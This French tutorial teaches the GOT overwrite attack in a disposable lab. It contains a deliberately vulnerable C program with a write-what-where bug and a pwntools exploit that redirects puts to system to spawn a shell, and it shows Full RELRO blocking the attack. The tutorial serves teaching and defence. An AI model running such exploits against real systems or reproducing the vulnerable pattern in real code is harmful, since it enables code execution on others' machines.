Détourner la GOT : rediriger un appel à la libc
La liaison paresseuse laisse la GOT inscriptible : une écriture arbitraire sur une entrée transforme puts() en system() — jusqu'à ce que Full RELRO la fige.
Ceci est le cinquième tutoriel de l'espace Techniques d'exploitation. Le guide sur les chaînes de format nous a donné une écriture arbitraire mais la pointait vers un emplacement fictif. Ici, nous choisissons la cible la plus rentable pour une écriture unique : la Global Offset Table. Écraser une entrée de la GOT redirige un appel de bibliothèque vers une fonction de notre choix — et c'est la technique qui rend enfin RELRO important.
Mêmes règles que d'habitude : notre propre binaire, un labo jetable. Voir les règles du labo.
Comment fonctionnent la PLT et la GOT
Les appels aux fonctions importées comme puts ne sautent pas directement dans la libc. Ils sautent vers un petit stub de la PLT (Procedure Linkage Table), qui lit l'adresse réelle de la fonction depuis l'entrée correspondante de la GOT (Global Offset Table) et saute dessus.
call puts@pltle site d'appelputs@plt stublit l'entrée de la GOT[puts@got]pointeur inscriptible — la cible de l'écrasementputs in libcla vraie fonctionAvec la liaison paresseuse, puts@got est rempli au premier appel, donc la table est inscriptible à l'exécution. Si nous pouvons écrire dans puts@got, nous remplaçons l'adresse de puts par l'adresse de system. Le prochain puts(user_controlled) du programme devient system(user_controlled).
La cible
Un programme avec une primitive d'écriture arbitraire nette et un appel de bibliothèque ultérieur que nous pouvons détourner :
/* vuln.c — un write-what-where, puis un puts() que nous pouvons rediriger. */
#include <stdio.h>
#include <string.h>
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
unsigned long addr, value;
char line[128];
/* Primitive d'écriture arbitraire (représente un vrai bug). */
if (scanf("%lx %lx", &addr, &value) != 2) return 1;
*(unsigned long *)addr = value; /* write-what-where */
/* Plus tard, un appel de bibliothèque que nous pouvons détourner ; son argument est une donnée de l'attaquant. */
fgets(line, sizeof line, stdin);
puts(line); /* devient system(line) après l'écrasement */
return 0;
}
Compilez-le avec Partial RELRO (la valeur par défaut courante) pour que la GOT soit inscriptible :
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,lazy -O0 -g -o vuln vuln.c
$ checksec --file=./vuln
RELRO: Partial RELRO ← la GOT est inscriptible
PIE: No PIE (0x400000) ← entrée de la GOT à une adresse fixe
L'exploit
Une écriture échange puts contre system ; puis nous envoyons /bin/sh comme « chaîne à afficher ».
# exploit.py
from pwn import *
context.binary = elf = ELF("./vuln")
io = process("./vuln")
# Dans un binaire -no-pie, ce sont des adresses fixes et connues :
puts_got = elf.got["puts"]
system_plt = elf.plt["system"] # system est importé ici, il a donc un stub PLT
# 1) écrire l'adresse de system par-dessus l'entrée GOT de puts
io.sendline(f"{puts_got:x} {system_plt:x}".encode())
# 2) le prochain puts(line) appelle désormais system(line)
io.sendline(b"/bin/sh")
io.interactive()
$ python3 exploit.py
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab)
Quand main atteint puts(line), le stub PLT lit l'entrée GOT (désormais empoisonnée) et saute vers system à la place, avec line — "/bin/sh" — comme argument.
Si
systemn'est pas déjà importé, vous ne pouvez pas utiliserelf.plt["system"]. Vous écrasez alors l'entrée GOT avec une adresse de la libc que vous avez calculée à partir d'une fuite — par exemple écrirelibc.symbols["system"]par-dessusputs@got. Le principe est identique ; seule la source de l'adresse cible change.
Autres cibles GOT à forte valeur
atoi@got,strlen@got,printf@got— toute fonction importée dont l'argument est contrôlé par l'attaquant au moment de l'appel.- Sur les glibc plus anciennes,
__free_hook/__malloc_hookétaient des équivalents populaires (supprimés dans glibc 2.34+). - La voie
.fini_array/__exit_funcs, détournée pour que la redirection se déclenche à la sortie du programme.
Réactiver la mitigation : Full RELRO
C'est le seul guide de la série où un unique drapeau ferme proprement la technique.
gcc -fno-stack-protector -no-pie -Wl,-z,relro,-z,now -O0 -g -o vuln_full vuln.c
$ checksec --file=./vuln_full
RELRO: Full RELRO
Exécutez exploit.py contre vuln_full :
[*] Process './vuln_full' stopped with exit code -11 (SIGSEGV)
L'écriture dans puts_got frappe désormais une page en lecture seule et provoque une faute instantanée. Full RELRO fait que le chargeur résout chaque import au démarrage, puis remappe toute la GOT en lecture seule avant que main ne s'exécute. Il ne reste plus rien d'inscriptible à empoisonner.
| Compilation | RELRO | Résultat de l'écrasement GOT |
|---|---|---|
-z relro -z lazy | Partial | L'écriture aboutit ; puts → system |
-z relro -z now | Full | L'écriture provoque une faute : la GOT est en lecture seule |
Le coût est un démarrage légèrement plus lent (tous les symboles résolus avec empressement). Pour tout ce qui est sensible à la sécurité, c'est un prix dérisoire — voir drapeaux de durcissement des binaires.
Ce que cela enseigne à un défenseur
- Full RELRO n'est pas optionnel pour les binaires exposés. Il convertit toute une classe de « écriture arbitraire → exécution de code » en un crash immédiat. Confirmez que
checksecrapporteFull RELRO, pasPartial. - RELRO est spécifique. Il protège la GOT. Il ne fait rien contre un écrasement d'adresse de retour (ret2win), une chaîne ret2libc, ou un
.fini_arraydétourné s'il réside ailleurs. Combinez-le avec un canari, PIE et une pile fantôme. - La GOT n'est une cible fixe que sans PIE. PIE rend aussi aléatoire l'emplacement de la GOT, si bien qu'un écrasement de la GOT nécessite alors aussi une fuite d'abord. Livrez à la fois PIE et Full RELRO.
Points clés à retenir
- Les appels importés passent par la PLT, qui lit l'adresse réelle de la fonction depuis la GOT inscriptible.
- Une écriture arbitraire sur une entrée de la GOT redirige le prochain appel — par exemple
puts→system("/bin/sh"). - Une entrée de la GOT est une cible fixe et facile dans un binaire
-no-pieet ne nécessite aucun contrôle de la pile, seulement une primitive d'écriture. - Full RELRO (
-z relro -z now) remappe la GOT en lecture seule et transforme l'écrasement en un crash instantané.
Suite : l'exploitation du tas avec tcache et use-after-free, où la primitive d'écriture provient des métadonnées propres à l'allocateur.